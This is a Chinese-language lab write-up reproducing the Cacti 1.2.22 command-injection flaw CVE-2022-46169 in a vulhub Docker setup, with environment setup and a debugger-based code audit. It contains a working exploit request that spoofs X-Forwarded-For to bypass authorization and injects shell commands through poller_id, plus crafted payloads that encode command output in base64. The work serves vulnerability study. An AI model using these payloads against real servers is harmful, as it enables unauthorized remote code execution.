文章目錄
- 測試復現
- 一,環境搭建
- 二,通過VS Code連接cacti
- 三,測試
測試復現
一,環境搭建
1,在ubuntu虛擬機上安裝MySql數據庫:
apt-get upgrade # 更新apt-get upgrade
apt-get update # 更新apt-get update
apt-get install mysql-server # 安裝mysql
service mysql start # 啟動MySQL
service mysql status # 查看mysql狀態
root@ning:~# netstat -tap | grep mysql
tcp 0 0 localhost:mysql 0.0.0.0:* LISTEN 33859/mysqld
2,在github…com官網搜索對應的cacti安裝包;
root@ning:~/vulhub/cacti/CVE-2022-46169# proxychains wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.22.zip
// 在Ubuntu虛擬機上安裝對應的安裝包
root@ning:~/vulhub/cacti/CVE-2022-46169# unzip 1.2.22.zip # 解壓縮
安裝完后,根據vulhub官方文檔上的操作執行。
第一步:執行如下命令啟動一個Cacti 1.2.22版本服務器:
root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose up -d
第二步:環境啟動后,訪問主機IP:8080
端口,進入到cacti登錄頁面:
第三步:使用admin/admin作為賬號密碼登錄,并根據頁面中的提示進行初始化,初始化的過程就是點擊"下一步",直到安裝成功即可:
第四步:本次測試的利用需要Cacti應用中至少存在一個類似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我們在Cacti后臺首頁創建一個新的Graph:
選擇的Graph Type是“Device - Uptime”,點擊創建:
3,測試
完成上述初始化后,切換到測試角度,發送如下數據包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
雖然響應包里沒有回顯,但是進入容器中即可發現/tmp/success
已成功被創建:
root@ning:~/vulhub/cacti/CVE-2022-46169# docker-compose exec web bash
root@6557b88583fa:/var/www/html# ls -al /tmp/
total 16
drwxrwxrwt 1 root root 4096 Jul 25 03:52 .
drwxr-xr-x 1 root root 4096 Jul 25 02:09 ..
-rw------- 1 www-data www-data 2429 Jul 25 03:50 sess_23c70c6c8a85bccae51d57b4c8f663bd
-rw------- 1 www-data www-data 1528 Jul 25 03:52 sess_dd35abcf5e60b64ff4c2124202bd7e48
-rw-r--r-- 1 www-data www-data 0 Jul 25 03:52 success
二,通過VS Code連接cacti
1,代碼審計:
繞過 remote_client_authorized
鑒權函數
// remote_agent.php(nu53-nu56)
if (!remote_client_authorized()) {print 'FATAL: You are not authorized to use this service';exit;
}
get傳遞的參數,是用戶可控的,一定能走進case polldata
這個開關語句,一定會觸發poll_for_data
函數。
可以通過ctrl+鼠標右鍵進行函數追蹤:
// remote_agent.php:nu324-nu428
if (cacti_sizeof($items)) {foreach($items as $item) {switch ($item['action']) { // 判斷action的值,action的默認值為2case POLLER_ACTION_SNMP: /* snmp */......case POLLER_ACTION_SCRIPT: /* script (popen) */......case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */......
通過ctrl+鼠標右鍵
追蹤這三個常量可以得知,POLLER_ACTION_SCRIPT_PHP
常量的值為2,所以會執行POLLER_ACTION_SCRIPT_PHP
后面的代碼:
// global_constants.php:nu106-nu109
/* used both for polling and reindexing */
define('POLLER_ACTION_SNMP', 0);
define('POLLER_ACTION_SCRIPT', 1);
define('POLLER_ACTION_SCRIPT_PHP', 2);
如果需要執行命令,需要繞過這幾個判斷:
一定要將output
賦值給value
,否則output
就會變成U
這里做了一個prepare_validate_result
提前的判斷,一定要繞過這個函數;
substr_count:計算字符串出現的次數。例如:
<?php
$text = 'This is a test';
echo strlen($text), PHP_EOL; // 14echo substr_count($text, 'is'), PHP_EOL; // 2// 字符串被簡化為 's is a test',因此輸出 1
echo substr_count($text, 'is', 3), PHP_EOL;// 字符串被簡化為 's i',所以輸出 0
echo substr_count($text, 'is', 3, 3), PHP_EOL;// 輸出 1,因為該函數不計算重疊字符串
$text2 = 'gcdgcdgcd';
echo substr_count($text2, 'gcdgcd'), PHP_EOL;// 因為 5+10 > 14,所以拋出異常
echo substr_count($text, 'is', 5, 10), PHP_EOL;
?>22
filter_var:使用特定的過濾器過濾一個變量。這個過濾器可以驗證IP是否合法。
當這里的驗證繞過后,代碼就可以執行。
2,創建一個test.php測試代碼:
<?php
echo '<pre>';
var_dump($_SERVER);
3,修改config.php文件:
root@ning:~/usr/local/nginx/html/cacti/include/config.php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'localhost';
$database_username = 'root';
$database_password = 'root123';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
4,修正環境變量
以下配置均在容器內部進行:
# 安裝指定版本的xdebug
root@6557b88583fa:/var/www/html# pecl install xdebug-3.1.6# 啟用擴xdebug展
root@6557b88583fa:/var/www/html# docker-php-ext-enable xdebug# 重啟容器
root@6557b88583fa:/var/www/html# exit
root@ning:/usr/local/nginx/html/cacti/lib# docker restart 6557b88583fa
// 3.1.6是php7.4對應的debug# 編輯 docker-php-ext-xdebug.ini 配置文件
root@ning:~# docker exec -it 6557b88583fa /bin/bash
root@6557b88583fa:/var/www/html# cd /usr/local/etc/php/conf.d
root@6557b88583fa:/usr/local/etc/php/conf.d# ls -al
-rw-r--r-- 1 root root 22 Jul 25 09:49 docker-php-ext-xdebug.ini
root@6557b88583fa:/usr/local/etc/php/conf.d# vim docker-php-ext-xdebug.ini # 添加如下內容
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
5,進數據庫
root@ning:/usr/local/nginx/html# docker exec -it 360eb4ccb010 /bin/bash
bash-4.2# mysql -uroot -proot
mysql> use cacti
....
Database changed
mysql> show tables; # 查看表單
三,測試
1,打斷點
2,抓包
-
開啟burp suite
-
在瀏覽器中訪問
-
將burp suite抓取到的包發送到repeater
-
修改部分數據后,send
雖然沒有回顯,但是在訪問容器內容時,生成了success文件:
3,構造命令行
下面的命令在傳參時,為了防止空格的影響,都要先進行urlencode編碼:
|echo "test\r\n `id | xxd -p -c 1 | awk '{printf \"%s \", $0}'`";
|echo "test\r\n :`id | base64 -w0`";
運行完后,只需要將輸出的值通過base64轉碼后,就能達到預想達到結果:
|echo "test\r\n `id | base64 -w0 | awk -v ORS=':' '{printf $0}'`";